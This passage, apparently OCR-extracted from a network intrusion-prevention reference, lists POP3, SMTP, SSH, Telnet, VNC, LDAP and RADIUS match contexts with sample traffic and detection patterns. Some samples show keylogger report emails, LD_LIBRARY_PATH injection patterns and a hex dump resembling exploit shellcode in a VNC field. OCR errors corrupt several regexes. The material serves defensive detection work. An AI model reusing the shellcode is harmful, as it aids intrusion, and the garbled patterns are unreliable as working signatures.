pop3-mime- content-filename (STC)	Matches the content filename of a MIME attachment in a POP3 session. Example of field in POP3 transaction: Content-Type: application/octet-stream; name=mNTNAhB21nBFCb.Wmf) Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="mNTNAhB21nBFCb.Wmf" Example of context usage: Context: pop3-mime-content-filename pattern: "mNTN"
pop3-mime- content-name (STC)	Matches the content name of a MIME attachment in a POP3 session. Example of field in POP3 transaction: Content-Type: application/octet-stream; name=mNTNAhB21nBFCb.Wmf) Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="mNTNAhB21nBFCb.Wmf" Example of context usage: Context: pop3-mime-content-name pattern: "mNTN"

Table 50: Service Contexts: POP3 (Continued)

Context and Direction	Description Example of Contexts
pop3-retr (CTS)	Matches the arguments of the RETR command in a POP3 session. Example of field in POP3 transaction: LIST +0K 1 visible messages (1470 octets) 1 1470 RETR 1 Example of context usage: Context: pop3-retr pattern: "1"
pop3-top (CTS)	Matches the arguments of the TOP command in a POP3 session.
pop3-uidl (CTS)	Matches the arguments of the UIDL command in a POP3 session.
pop3-user (CTS)	Matches the user name of a POP3 session. Example of field in POP3 transaction: USER test +0K Password required for test. PASS blarg Example of context usage: Context: pop3-user pattern: "test"
pop3-xtnd (CTS)	Matches the arguments of the XTND command in a POP3 session.

Service Contexts: SMTP

The table displays the security context details for SMTP:

Table 51: Service Contexts: SMTP

Context and Direction	Description Example of Contexts
smtp-banner (STC)	Matches the banner returned by the server at the start of an SMTP transaction. Example of field in SMTP response: 220 MERCUR SMTP-Server (v3.20.01 AS-7864334) for Windows NT ready at Fri,28Jan 2005 20:34:15+0100 HELO sv2.mech.kyoto-u.ac.jp 250 mailserver Hello 130.54.19.130 MAIL FROM:&It> 250 &It>, sender ok RCPT TO:&Itnelson_ladner_3@zoom-bim.nl> 550 Recipient not here QUIT 221130.54.19.130 closing connection Example of context usage: Context: smtp_banner pattern: ".*MERCUR_SMTP-Server_\(v((3\.([3-9] ([0-2][0-9])))) (4\.[0-2][A0-9])).*"
smtp-command-line (CTS)	Matches any SMTP command line. Example of field in SMTP transaction: 220 river.fscinternet.com ESMTP Sendmail 8.12.10/8.12.10; Mon, 28 Feb 200517:11:08 -0500 HELO fscinternet.com Example of context usage: Context: smtp-command-line pattern: "HELO"
smtp-data-line (CTS)	Matches lines in the e-mail body of an SMTP transaction. Example of field in SMTP request: From: "Attacker" <attacker@microsoft.local> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2962 Return-Path: attacker@microsoft.local BEGIN:DAYLIGHT DTSTART:20060402T020000 RRULE:FREQ=YEARLY;INTERVAL=1;BYDAY=1SU;BYMONTH=4 TZOFFSETFROM:-0500 TZOFFSETTO:-0400 TZNAME:Daylight Savings Time END:DAYLIGHT END:VTIMEZONE BEGIN:VEVENT END:VCALENDAR Example of context usage: Context: smtp-data-line pattern: "BEGIN:VEVENT"</attacker@microsoft.local>

Table 51: Service Contexts: SMTP (Continued)

Context and Direction	Description Example of Contexts
smtp-data-text-html (CTS)	Matches lines in a text/html MIME attachment in the body of an SMTP transaction. Example of field in SMTP request: Content-Type: text/html; charset="iso-8859-l" Content-Transfer-Encoding: quoted-printable HTML PUBLIC "-//W3C//DTD HTML 4.0Transitional//EN" <htmlxhead> <meta =="" charset="utf-8" content='3D"text/html;' http-equiv="3DContent-Type"/> <meta 6.00.2800.1106"="" content='3D"MSHTML' name="3DGENERATOR"/> <stylex style=""> <head> <body bgcolor="3D#ffffff"> <div> Example of context usage: Context: smtp-data-text-html pattern: "*\u\[<xml\][a>]*\s*\[id\s*=(3D)?\s*(, ")?\]\u.*"</xml\][a></div></body></head></stylex></htmlxhead>
smtp-data-text- plain (CTS)	Matches lines in a text/plain MIME attachment in the body of an SMTP transaction. Example of field in SMTP request: Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Please see attachment for the ActMon Computer Monitoring report. The report is in 256-bit AES encrypted raw log format. You can use the Contro= I Center to convert it to a report. This message does NOT appear in full version of ActMon Computer Monitoring. Buy it now at: &ItURL:http://www.ActMon.com/rd/actmon.asp?ref=3Drga5200201> This email was sent by ActMon Computer Monitoring V5.20 (c) 2005 http://www.ActMon.com Example of context usage: Context: smtp-data-text-html pattern: "ActMon Computer"
smtp-from (CTS)	Matches the contents of the MAIL, SAML, SEND, and SOML commands. Example of field in SMTP transaction: DATA 354 Enter mail, end with on a line by itself From: <keys@keys.com> To: myu@fscinternet.com Subject: WINXPPRO ,4 Example of context usage: Context: smtp-from pattern: "\[<keys@keys\.com>\]"</keys@keys\.com></keys@keys.com>

Table 51: Service Contexts: SMTP (Continued)

Context and Direction	Description Example of Contexts
smtp-header (CTS)	Matches any unfolded header in the SMTP data. Example of field in SMTP request: Content-Type: application/octet-stream; name=ieeEFu3HpZPfu4.aU) Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="ieeEFu3HpZPfu4.aU" Example of context usage: Context: smtp-header pattern: ".*filename="[A")*V\[AU\]""
smtp-header- comment (CTS)	Matches the Comment: header in the SMTP data.
smtp-header-from (CTS)	Matches the From: header in the SMTP data. Example of field in SMTP request: DATA 354 Enter mail, end with on a line by itself X-OEM: iOpus Software GmbH Date: Mon, 28 Feb 2005 17:11:12 -0500 To: <myu@fscintemet.com> From: <myu@fscinternet.com> Example of context usage: Context: smtp-header-from pattern: "myu"</myu@fscinternet.com></myu@fscintemet.com>
smtp-header-line (CTS)	Matches any header lines in the SMTP data. Example of field in SMTP request: DATA 354 Enter mail, end with on a line by itself From: <keys@keys.com> To: myu@fscinternet.com Subject: WINXPPRO ,4 Example of context usage: Context: smtp-header-line pattern: "\[<keys@keys\.com>\]"</keys@keys\.com></keys@keys.com>

Table 51: Service Contexts: SMTP (Continued)

Context and Direction	Description Example of Contexts
smtp-header-reply- to (CTS)	Matches the Reply-To: header in the SMTP data. Example of field in SMTP request: To: hahosoya@kurims.kyoto-u.ac.jp Reply-To: "Voyages-SNCF.com bons-plans-at-voyages-sncf.com on-line shopping/l_O-Allow " <jthohsvboyot@sneakemail.com> Subject: Pâques: faites le pont a petit prix! Example of context usage: Context: smtp-header-reply-to pattern: "voyages"</jthohsvboyot@sneakemail.com>
smtp-header-sender (CTS)	Matches the Sender: header in the SMTP data.
smtp-header- subject (CTS)	Matches the Subject: header in the SMTP data. Example of field in SMTP request: Date: Mon, 28 Feb 2005 17:11:12 -0500 To: <myu@fscinternet.com> From: <myu@fscinternet.com> Subject: Report, No. 1, Current User:VRT X-Priority: Normal Example of context usage: Context: smtp-header-subject pattern: "Report"</myu@fscinternet.com></myu@fscinternet.com>
smtp-header-to (CTS)	Matches the To: header in the SMTP data. Example of field in SMTP request: Date: Mon, 28 Feb 2005 17:11:12 -0500 To: <myu@fscinternet.com> From: <myu@fscinternet.com> Subject: Report, No. 1, Current User:VRT X-Priority: Normal Example of context usage: Context: smtp-header-to pattern: "myu"</myu@fscinternet.com></myu@fscinternet.com>

Table 51: Service Contexts: SMTP (Continued)

Context and Direction	Description Example of Contexts
smtp-header-x-field (CTS)	Matches all extended headers that start with X- in the SMTP data. Example of field in SMTP request: Date: Mon, 28 Feb 2005 17:11:12 -0500 To: <myu@fscinternet.com> From: <myu@fscinternet.com> Subject: Report, No. 1, Current User:VRT X-Priority: Normal</myu@fscinternet.com></myu@fscinternet.com>
	Example of context usage: Context: smtp-header-x-field pattern: "Normal"
smtp-header- x- mailer (CTS)	Matches the X-Mailer: header in the SMTP data. Example of field in SMTP request: X-Priority: 3 (normal) X-MSMail-Priority: Normal X-Mailer: 220171 ANSMTP 868 Example of context usage: Context: smtp-header-x-mailer pattern: "ANSMTP"
smtp-header- x- originating-ip	Matches the X-Originating-ip header in the SMTP data. Example of field in SMTP request: To: ranurag@juniper.net Subject: sendmail test three) From: me@myserver.com X-Originating-lp: [173.201.193.102] Message-ld: <20190523150611.2ACC35EE3@idpdevesxl-centosl4.localdomain> Example of context usage: Context: smtp-header-x-originating-ip pattern: "173\.201\.193\.102"
smtp-mime- content-data (CTS)	Matches the first 64 bytes of the base-64 decoded MIME attachment data in an SMTP session.

Table 51: Service Contexts: SMTP (Continued)

Context and Direction	Description Example of Contexts
smtp-mime- content-filename (CTS)	Matches the content filename of a MIME attachment in an SMTP session. Example of field in SMTP request: Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="No[I)-#VRT#WINXPPRO#.dat" Example of context usage: Context: smtp-mime-content-filename pattern: "attachment"
smtp-mime- content-name (CTS)	Matches the content name of a MIME attachment in an SMTP session. Example of field in SMTP request: Content-Type: application/octet-stream; name="No[I]-#VRT#WINXPPRO#.dat" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="No[I]-#VRT#WINXPPRO#.dat" Example of context usage: Context: smtp-mime-content-name pattern: "name="
smtp-pdf (ANY)	smtp-pdf
smtp-rcpt (CTS)	Matches the contents of the RCPT command in an SMTP transaction. Example of field in SMTP request: RCPT TO: <myu@fscintemet.com> 250 2.1.5 <myu@fscinternet.com> Recipient ok DATA Example of context usage: Context: smtp-rcpt pattern: "myu@fscintemet.com"</myu@fscinternet.com></myu@fscintemet.com>
smtp-reply- 100- line (STC)	Matches the SMTP 1yz Positive Preliminary reply.

Table 51: Service Contexts: SMTP (Continued)

Context and Direction	Description Example of Contexts
smtp-reply- 200- line (STC)	Matches the SMTP 2yz Positive Completion reply. Example of field in SMTP request: 220 river.fscinternet.com ESMTP Sendmail 8.12.10/8.12.10; Mon, 28 Feb 200517:11:08 -0500 HELO fscinternet.com Example of context usage: Context: smtp-reply-200-line pattern: "fscinternet"
smtp-reply- 300- line (STC)	Matches the SMTP 3yz Positive Intermediate reply. Example of field in SMTP request: DATA 354 Enter mail, end with on a line by itself From: <keys@keys.com> To: myu@fscinternet.com Subject: WINXPPRO ,4 Example of context usage: Context: smtp-reply-300-line pattern: "mail"</keys@keys.com>
smtp-reply- 400- line (STC)	Matches the SMTP 4yz Transient Negative Completion reply.
smtp-reply- 500- line (STC)	Matches the SMTP 5yz Permanent Negative Completion reply. Example of field in SMTP request: RCPT TO: <moneyhunter99@daum.net> 550 Relaying is prohibited Example of context usage: Context: smtp-reply-500-line pattern: "550*\[relayingjs_prohibited\].*"</moneyhunter99@daum.net>

Table 51: Service Contexts: SMTP (Continued)

Context and Direction	Description Example of Contexts
smtp-reply- line (STC)	Matches the SMTP reply line. Example of field in SMTP request: 220 river.fscinternet.com ESMTP Sendmail 8.12.10/8.12.10; Mon, 28 Feb 200517:11:08 -0500 HELO fscinternet.com Example of context usage: Context: smtp-reply-line pattern: "ESMTP"

Remote Access Contexts

IN THIS SECTION

Service Contexts: SSH | 308

Service Contexts: Telnet | 309

Service Contexts: VNC | 311

These attack objects and groups are designed to detect known attack patterns and protocol anomalies within the network traffic. You can configure attack objects and groups for remote access as match conditions in IDP policy rules.

Service Contexts: SSH

The table displays the security context details for SSH:

Table 52: Service Contexts: SSH

Display Name	Description Example of Contexts
ssh-header (ANY)	Matches the header at the start of an SSH session. Example of field in SSH transaction: Transmission Control Protocol, Src Port: 21161, Dst Port: 22, Seq: 3124622962, Ack: 740473231, Len: 28 SSH Protocol Protocol: SSH-1.0-SSH_Version_Mapper SSH Version 1 Example of context usage: Context: ssh-header pattern: "SSH"

Service Contexts: Telnet

The table displays the security context details for Telnet:

Table 53: Service Contexts: Telnet

Context and Direction	Description Example of Contexts
telnet-option (ANY)	Matches each of the telnet options in a Telnet session.
	Example of field in TELNET transaction:
	Telnet Do Encryption Option Command: Do (253) Subcommand: Encryption Option Will Encryption Option Command: Will (251) Subcommand: Encryption Option Do Suppress Go Ahead Will Terminal Type Will Negotiate About Window Size Will Terminal Speed Will Remote Flow Control Will Linemode Will New Environment Option Do Status Will X Display Location
	Example of context usage:
	Context: telnet-option pattern: ".*\[ld_library_path\].*"
telnet- subnegotiation	Matches each of the telnet subnegotiation options in a Telnet session.
(ANY)	Example of field in TELNET transaction:
	Telnet Suboption Negotiate About Window Size Suboption End
	Example of context usage:
	Context: telnet-subnegotiation pattern: ".*\[ld_library_path\].*"
telnet-user (CTS)	Matches the Telnet user name.

Service Contexts: VNC

The table displays the security context details for VNC:

Table 54: Service Contexts: VNC

Context and Direction	Description Example of Contexts
vnc-client-version (CTS)	Matches the version number of the VNC protocol sent by the client. Example of field in VNC transaction: Virtual Network Computing Client protocol version: 003.003
	Example of context usage: Context: vnc-client-version pattern: "003"

Table 54: Service Contexts: VNC (Continued)

Context and Direction	Description Example of Contexts
vnc-reason (STC)	Matches the connection fail reason reported by the VNC server. Example of field in VNC transaction: Virtual Network Computing Security type: Invalid (0) 00 00 00 00 00 00 00 04 06 52 65 71 75 69 72 65 73 Requires 20 55 6c 74 72 40 56 4e 43 20 41 75 74 88 65 6e Ultr@VNC Authen 74 69 63 61 74 69 6f 6e 0a 6a 25 59 d9 ee d9 74 tication.]%Yt 24 f4 5b 81 73 13 7f 65 41 f0 83 ebfc e2 f4 fe \$.[seA al be if 80 9a 05 0c 97 2141 f0 7f ee 04 cc f4 19 44 88 7e 8a ca bf 67 ee le d0 7e 8e 08 7b 4b D.~g~{K} ee 40 le 4e a5 d8 5c fb a5 35 f7 be af 4c fl bd .(S).N5L 8e b5 cb 2b 4145 85 9a ee le d4 7e 8e 27 7b 73+AE 25 ec aa f6 36 4a ar 7b 63 ee 40 lb f6 39 65 f4 bccd.(c@.9e 26 a 38 77 8e 48 7b ff d5 41 f0 7f ee 29 cc 20w.H(A). 27 bd 79 0 29 ec b9 73 bf le 11 98 01 bd a3 83 17 T). 28 cb 70 fd 43 fd d6 f9 9b 47 90 37 3f 9b 27 .\$CG7?. 43 3f f5 40 f5 f8 9f 4e 48 4e 41 46 f9 96 49 48 C?.(S)NHNAFH d9 3f 9b 49 49 49 62 7f 54 14 02 7f ce 93 74 2

Table 54: Service Contexts: VNC (Continued)

Context and Direction	Description Example of Contexts
vnc-server-version (STC)	Matches the version number of the VNC protocol sent by the server. Example of field in VNC transaction: Virtual Network Computing Server protocol version: 003.003 Example of context usage: Context: vnc-server-version pattern: "003"

Identity and Access Contexts

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These attack objects and groups are designed to detect known attack patterns and protocol anomalies within the network traffic. You can configure attack objects and groups for identity and access as match conditions in IDP policy rules.

Service Contexts: LDAP

The table displays the security context details for LDAP:

Table 55: Service Contexts: LDAP

Context and Direction	Description Example of Contexts
Idap-abandon- request (CTS)	Matches the entire Abandon Request message.
Idap-add-request (CTS)	Matches the entire Add Request message. Example of field in LDAP transaction: [3 Reassembled TCP Segments (4017bytes): #4(1460)_#5(1460).#7(1097)] Lightweight Directory Access Protocol LDAPMessage messageID: 1 protocolOp: addRequest (8) addRequest Example of context usage: Context: Idap-add-request pattern: "addRequest"
Idap-add- request- attribute (CTS)	Matches each attribute in an Add Request message. The values are NULL delimited and the type, and values are newline delimited.
ldap-add- request- attributetype (CTS)	Matches the type each attribute in an Add Request message.
Idap-add-request- attributevalue (CTS)	Matches the value of each attribute in an Add Request message.
ldap-add- request- entry (CTS)	Matches the object in an Add Request message.

Table 55: Service Contexts: LDAP (Continued)

Context and Direction	Description Example of Contexts
Idap-bind- request (CTS)	Matches the entire LDAP Bind Request message. Example of field in LDAP transaction: Lightweight Directory Access Protocol LDAPMessage bindRequest(1) "DN" messageID: 1 protocolOp: bindRequest (0) bindRequest version: 3 name: DN Example of context usage: Context: Idap-bind-request pattern: "foo"
Idap-bind- request- authentication (CTS)	Matches the authentication information in a Bind Request message including the 1-byte type. Example of field in LDAP transaction: Lightweight Directory Access Protocol LDAPMessage bindRequest(2) " <root>" sasl messageID: 2 protocolOp: bindRequest (0) bindRequest version: 3 name: authentication: sasl (3) 00 50 56 b4 39 7d 00 50 56 b4 0e 7f 08 00 45 00 .PV.9}.PV E. 00 80 ba 8a 40 00 40 06 15 de ac 10 08 e6 ac 10 —@.@ 09 09 a5 12 01 85 26 66 c7 b9 c5 d2 60 ee 80 18 00 e5 be 96 00 00 01 01 08 0a 0a cb 7d 30 15 ba JO- 42 e4 30 4a 02 01 01 60 45 02 01 03 04 32 43 4e B.OJ E—2CN 334 16 46 d6 96 6e 97 37 47 72 61 74 6f 72 2c 43 =Administrator, C 4e 3d 55 73 65 72 73 2c 44 43 3d 54 53 4c 2c 44 N=Users, DC=TSL, D 42. 3d 45 58 41 4d 50 4c 45 2c 44 43 3d 43 4f 4d C=EXAMPLE.DC=COM 80 0c 66 6f 6f62 61 72 31 32 33 21 40 23 -foobarl23!@# Example of context usage: Context: Idap-bind-request-authentication pattern: "\x 666f6f \x"</root>
Idap-bind- request- IdapDN (CTS)	Matches the name of the directory object to which the client wants to bind.

Table 55: Service Contexts: LDAP (Continued)

Context and Direction	Description Example of Contexts
Idap-bind- request- version (CTS)	Matches the LDAP version in a Bind Request message. Example of field in LDAP transaction: Transmission Control Protocol Src Port: 42258, DstPort: 389, Seq: 644270009. Ack: 3318898926. Len: 76 Lightweight Directory Access Protocol LDAPMessage bindRequest(1) "CN=Administrator.CN=Users.DC=TSL,DC=EXAMPLE.DC=COM" simple messageID: 1 protocolOp: bindRequest (0) bindRequest version: 3 name: CN=Administrator.CN=Usei*s.DC=TSL.DC=EXAMPLE.DC=COM authentication: simple (0) Example of context usage: Context: Idap-bind-request-version pattern: "\x 03 \x"
ldap-compare- request (CTS)	Matches the entire Compare Request message.
Idap-compare- request- assertionvalue (CTS)	Matches the value against which the attribute value is compared in a Compare Request message.
Idap-compare- request- attributedesc (CTS)	Matches the attribute type of an entry in a Compare Request message.
ldap-compare- request- entry (CTS)	Matches the entry of the DN to be compared in a Compare Request message.
ldap-delete- request (CTS)	Matches the entire Delete Request message.

Table 55: Service Contexts: LDAP (Continued)

Context and Direction	Description Example of Contexts
Idap-extended-request (CTS)	Matches the entire Extended Request message. Example of field in LDAP transaction: Lightweight Directoiy Access Protocol LDAPMessage extendedReq(132) messagelD: 132 protocolOp: extendedReq (23) extendedReq requestNaine: 2.16.840.1.113719.1.142.100.1 (US company arc.l 13719.1.142.100.1) BER Error: This field lies beyond the end of the known sequence definition. BER Error: This field lies beyond the end of the known sequence definition. BER Error: This field lies beyond the end of the known sequence definition. BER Error: This field lies beyond the end of the known sequence definition. BER Error: This field lies beyond the end of the known sequence definition. BER Error: This field lies beyond the end of the known sequence definition. 30 4b 02 02 00 84 77 45 80 Id 32 2e 31 36 2e 38 0KwE. 2.16.8 34 30 2e 31 2e 31 31 33 37 31 39 2e 31 2e 31 34 40.1.113719.1.14 32 2e 31 30 30 2e 31 07 07 07 07 07 07 07 07 07 07 07 07 07
ldap-extended- request- requestName (CTS)	Matches the request name in the Extended Request message. Example of field in LDAP transaction: Lightweight Directory Access Protocol LDAPMessage extendedReq(132) messagelD: 132 protocolOp: extendedReq (23) extendedReq requestNaine: 2.16.840.1.113719.1.142.100.1 (US company arc., 13719.1.142.100.1) BER Error: This field lies beyond the end of the known sequence definition. BER Error: This field lies beyond the end of the known sequence definition. BER Error: This field lies beyond the end of the known sequence definition. BER Error: This field lies beyond the end of the known sequence definition. BER Error: This field lies beyond the end of the known sequence definition. BER Error: This field lies beyond the end of the known sequence definition. BER Error: This field lies beyond the end of the known sequence definition. BER Error: This field lies beyond the end of the known sequence definition.

Table 55: Service Contexts: LDAP (Continued)

Context and Direction	Description Example of Contexts
Idap-extended- request- requestValue (CTS)	Matches the request value in the Extended Request message. Example of field in LDAP transaction: Lightweight Directory Access Protocol LDAPMessage extendedReq(2) messageID: 2 protocolOp: extendedReq (23) extendedReq requestName: 2.16.840.1.113719.1.27.100.79(US company arc.113719.1.27.100.79) requestValue: 3082032a0204200000013182032030060201010201013006 Example of context usage: Context: Idap-extended-request-requestValue pattern: "\x 020101\x"
Idap-extended- response- response (STC)	Matches the response field in the Extended Request message.
Idap-extended- response- responseName (STC)	Matches the response name in the Extended Response message.
ldap-modify-request (CTS)	Matches the entire Modify Request message. Example of field in LDAP transaction: Lightweight Directory Access Protocol LDAPMessage modifyRequest(10) "CN=SomeTHING.O=SomeOtherThing" messagelD: 10 protocolOp: modifyRequest (6) modifyRequest object: CN=SomeTHING,0=SomeOtherThmg modification: 3 items Example of context usage: Context: Idap-modify-request pattern: "CN"

Table 55: Service Contexts: LDAP (Continued)

, ,		
Context and Direction	Description Example of Contexts	
Idap-modify- request-attribute (CTS)	Matches each attribute in a Modify Request message including the 1-byte modify operation. The values are NULL delimited, and the type and values are newline delimited.	
ldap-modify- request- attributetype (CTS)	Matches each attribute type in a Modify Request message.	
Idap-modify- request- attributevalue (CTS)	Matches each attribute value in a Modify Request message. Example of field in LDAP transaction: Lightweight Directory Access Protocol LDAPMessage modifyRequest(IO) "CN=SomeTHING.O=SomeOtherThmg" messageID: 10 protocolOp: modifyRequest (6) modifyRequest object: CN=SomeTHING,0=SomeOtherThmg modification: 3 items modification item operation: replace (2) modification someattmame;AAAAA type [truncated]: someattmame:AAAAA vals: 1 item Attribute Value: someattrvalue modification item Example of context usage: Context: Idap-modify-request-attributevalue pattern: "someattrvalue"	
ldap-modify- request-object (CTS)	Matches the object in the Modify Request message. Example of field in LDAP transaction: Lightweight Directory Access Protocol LDAPMessage modifyRequest(10) "CN=SomeTHING.O=SomeOtherThmg" messagelD: 10 protocolOp: modifyRequest (6) modifyRequest object: CN=SomeTHING,0=SomeOtherThmg modification: 3 items Example of context usage: Context: Idap-modify-request-object pattern: "CN=Some"	

Table 55: Service Contexts: LDAP (Continued)

Context and Direction	Description Example of Contexts
Idap- modifyDN- request (CTS)	Matches the entire Modify-DN Request message. Example of field in LDAP transaction: Lightweight Directory Access Protocol LDAPMessage modDNRequest(2) "dc=something,dc=anything" messagelD: 2 protocolOp: inodDNRequest (12) modDNRequest entry: dc=something,dc=anything newrdn: dc= deleteoldrdn: False
	Example of context usage: Context: Idap-modifyDN-request pattern: "dc=Some"
Idap- modifyDN- request- entry (CTS)	Matches the DN of the entry in a Modify-DN Request message. Example of field in LDAP transaction: Lightweight Directory Access Protocol LDAPMessage modDNRequest(2) "dc=something,dc=anything" messageID: 2 protocolOp: inodDNRequest (12) modDNRequest entry: dc=something,dc=anything newrdn: dc= deleteoldrdn: False
	Example of context usage: Context: Idap-modifyDN-request-entry pattern: "something"
ldap- modifyDN- request- newRDN (CTS)	Matches the new DN that replaces the old DN in a Modify-DN Request message. Example of field in LDAP transaction: Lightweight Directory Access Protocol LDAPMessage modDNRequest(2) "dc=something,dc=anything" messageID: 2 protocolOp: inodDNRequest (12) modDNRequest entry: dc=something,dc=anything newrdn: dc= deleteoldrdn: False
	Example of context usage: Context: Idap-modifyDN-request-newRDN pattern: "dc"

Table 55: Service Contexts: LDAP (Continued)

Context and Direction	Description Example of Contexts
Idap- modifyDN- request- newsuperior (CTS)	Matches the new DN that becomes the parent of the existing DN entry in a Modify-DN Request message.
ldap-result (STC)	Matches the entire Result message, including the 1-byte response type. Example of field in LDAP transaction: Transmission Control Protocol. Src Port: 389.Dst Port: 42258. Seq: 3318898926. Ack: 644270085.Len: 14 Lightweight Directory Access Protocol LDAPMessage bindResponse(I) success messageID: 1 protocolOp: bindResponse resultCode: success (0) matchedDN: errorMessage: Example of context usage: Context: Idap-result pattern: "dc=Some"
Idap-result- errorMessage (STC)	Matches the error message in the result.
ldap-result- matchedDN (STC)	Matches the base object in the Result message, including the 1-byte tag.
Idap-result- referral (STC)	Matches each referral URL in the result.
Idap-search- request (CTS)	Matches the entire LDAP Search Request message. Example of field in LDAP transaction: Lightweight Directoiy Access Protocol LDAPMessage searchRequest(2) "DC=TSL.DC=EXAMPLE.DC=COM" wholeSubtree messagelD: 2 protocolOp: searcliRequest (3) searchRequest [Response In: 10] Example of context usage: Context: Idap-search-request pattern: "DC"

Table 55: Service Contexts: LDAP (Continued)

Context and Direction	Description Example of Contexts
Idap-search- request-attribute (CTS)	Matches each attribute in a Search Request message.
ldap-search- request-attributelist (CTS)	Matches all the attributes in a Search Request message.
Idap-search- request-baseObject (CTS)	Matches the base object entry against which the search is performed. This includes the 1-byte scope, which can represent baseObject, singleLevel or wholeSubtree. Example of field in LDAP transaction: Lightweight Directory Access Protocol LDAPMessage searchRequest(2) "DC=TSL.DC=EXAMPLE.DC=COM" wholeSubtree message(D: 2 protocolOp: searchRequest (3) searchRequest baseObject: DC=TSL.DC=EXAMPLE.DC=COM scope: wholeSubtree (2) derefAliases: neverDerefAliases (0) sizeLimit: 0 timeLimit: 0 typesOnly: False Filter: (sAMAccountName=Admin*tor) attributes: 0 items Example of context usage: Context: Idap-search-request-baseObject pattern: "EXAMPLE"
ldap-search- request-filter (CTS)	Matches the contents of the search filter. Example of field in LDAP transaction: Filter: (sAMAccountName=Admin*tor) filter: substrings (4) substring: (sAMAccountName=Admin*tor) substrings sAMAccountName type: sAMAccountName substrings: 2 items substrings item: initial (0) substrings item: final (2) Example of context usage: Context: Idap-search-request-filter pattern: "Account"

Table 55: Service Contexts: LDAP (Continued)

Context and Direction	Description Example of Contexts
Idap-search- request-sizeLimit (CTS)	Matches the sizeLimit field of the search request.
Idap-search- request-timeLimit (CTS)	Matches the timeLimit field of the search request.
Idap-search- resentry (STC)	Matches the entire Search Result message. Example of field in LDAP transaction: Lightweight Directory Access Protocol LDAPMessage searchResEntry(2) "CN=Admiiiistrator.CN=Users.DC=tsl.DC=example.DC=com" [1 result] messageID: 2 protocolOp: searchResEntry (4) Example of context usage: Context: ldap-search-resentry pattern: "dc=Some"
ldap-search- resentry-attribute (STC)	Matches each attribute in the search result. The values are NULL delimited, and the type and value list are newline delimited.
Idap-search- resentry- attributetype (STC)	Matches each attribute type in the search result.
ldap-search- resentry- attributevalue (STC)	Matches each attribute value in the search result.

Table 55: Service Contexts: LDAP (Continued)

Context and Direction	Description Example of Contexts
Idap-search- resentry- objectname (STC)	Matches the base object of the search result. Example of field in LDAP transaction: Lightweight Directory Access Protocol LDAPMessage searchResEntry(2) "CN=Administrator.CN=Users.DC=tsl.DC=example.DC=com" [1 result] messagelD: 2 protocolOp: searchResEntry (4) searchResEntry objectName: CN=Administrator.CN=Users.DC=tsl.DC=example.DC=com attributes: 29 items Example of context usage: Context: Idap-search-resentry-objectname pattern: "Admin"
ldap-search- resref (STC)	Matches the entire Search Result Reference message.
ldap-search- resref- referral (STC)	Matches each referral URL in the Search Result Reference message.

Service Contexts: Radius

The table displays the security context details for Radius:

Table 56: Service Contexts: RADIUS

Context and Direction	Description Example of Contexts
radius-access- accept (STC)	Matches the attribute fields of a RADIUS Access-Accept message. Example of field in RADIUS transaction: User Datagram Protocol, Src Port: 1812, Dst Port: 1645 RADIUS Protocol Code: Access-Accept (2) Packet identifier: 0x9 (9)
	Length: 26 Authenticator: 9469c5c2dI01244ee93ellel0c0bf219 [This is a response to a request in frame 1] [Time from request: 0.002822000 seconds] Attribute Value Pairs AVP: t=Service-Type(6) 1=6 val=Login(I) Example of context usage:
	Context: radius-access-accept pattern: "Service-Type"
radius-access- challenge (STC)	Matches the attribute fields of a RADIUS Access-Challenge message.
radius-access-reject (STC)	Matches the attribute fields of a RADIUS Access-Reject message.

Table 56: Service Contexts: RADIUS (Continued)

Context and Direction	Description Example of Contexts
radius-access- request (CTS)	Matches the attribute fields of a RADIUS Access-Request message. Example of field in RADIUS transaction:
	User Datagram Protocol, Src Port: 1645, Dst Port: 1812 RADIUS Protocol Code: Access-Request (1) Packet identifier: 0x9 (9) Length: 137 Authenticator:el0b7f33831bfe36009b5f477eff41b3 [The response to this request is in frame 2] Attribute Value Pairs Example of context usage:
	Context: radius-access-request pattern: "rpjY"
radius-acct-request (CTS)	Matches the attribute fields of a RADIUS Accounting-Request message.
radius-acct- response (STC)	Matches the attribute fields of a RADIUS Accounting-Response message.
radius-attr- acct- multi-session-id (CTS)	Matches the value of an Account-Multi-Session-Id attribute.
radius-attr- acct- session-id (CTS)	Matches the value of an Account-Session-Id attribute.
radius-attr- acct- tunnel-connection (CTS)	Matches the value of an Account-Tunnel-Connection attribute.

Table 56: Service Contexts: RADIUS (Continued)

Context and Direction	Description Example of Contexts
radius-attr- arap- features (STC)	Matches the value of an ARAP-Features attribute.
radius-attr- arap- password (CTS)	Matches the value of an ARAP-Password attribute.
radius-attr- arap- security-data (ANY)	Matches the value of an ARAP-Security-Data attribute.
radius-attr- callback-number (ANY)	Matches the value of a Callback-Number attribute.
radius-attr- called- station-id (CTS)	Matches the value of a Caller-Station-Id attribute.
radius-attr- calling- station-id (CTS)	Matches the value of a Calling-Station-Id attribute.
radius-attr- chap- challenge (CTS)	Matches the value of a Chap-Challenge attribute.
radius-attr- chap- password (CTS)	Matches the value of a Chap-Password attribute.
radius-attr- configuration-token (STC)	Matches the value of a Configuration-Token attribute.
radius-attr- connect-info (CTS)	Matches the value of a Connect-Info attribute.

Table 56: Service Contexts: RADIUS (Continued)

Context and Direction	Description Example of Contexts
radius-attr- eap- message (ANY)	Matches the value of an EAP-Message attribute. Example of field in RADIUS transaction:
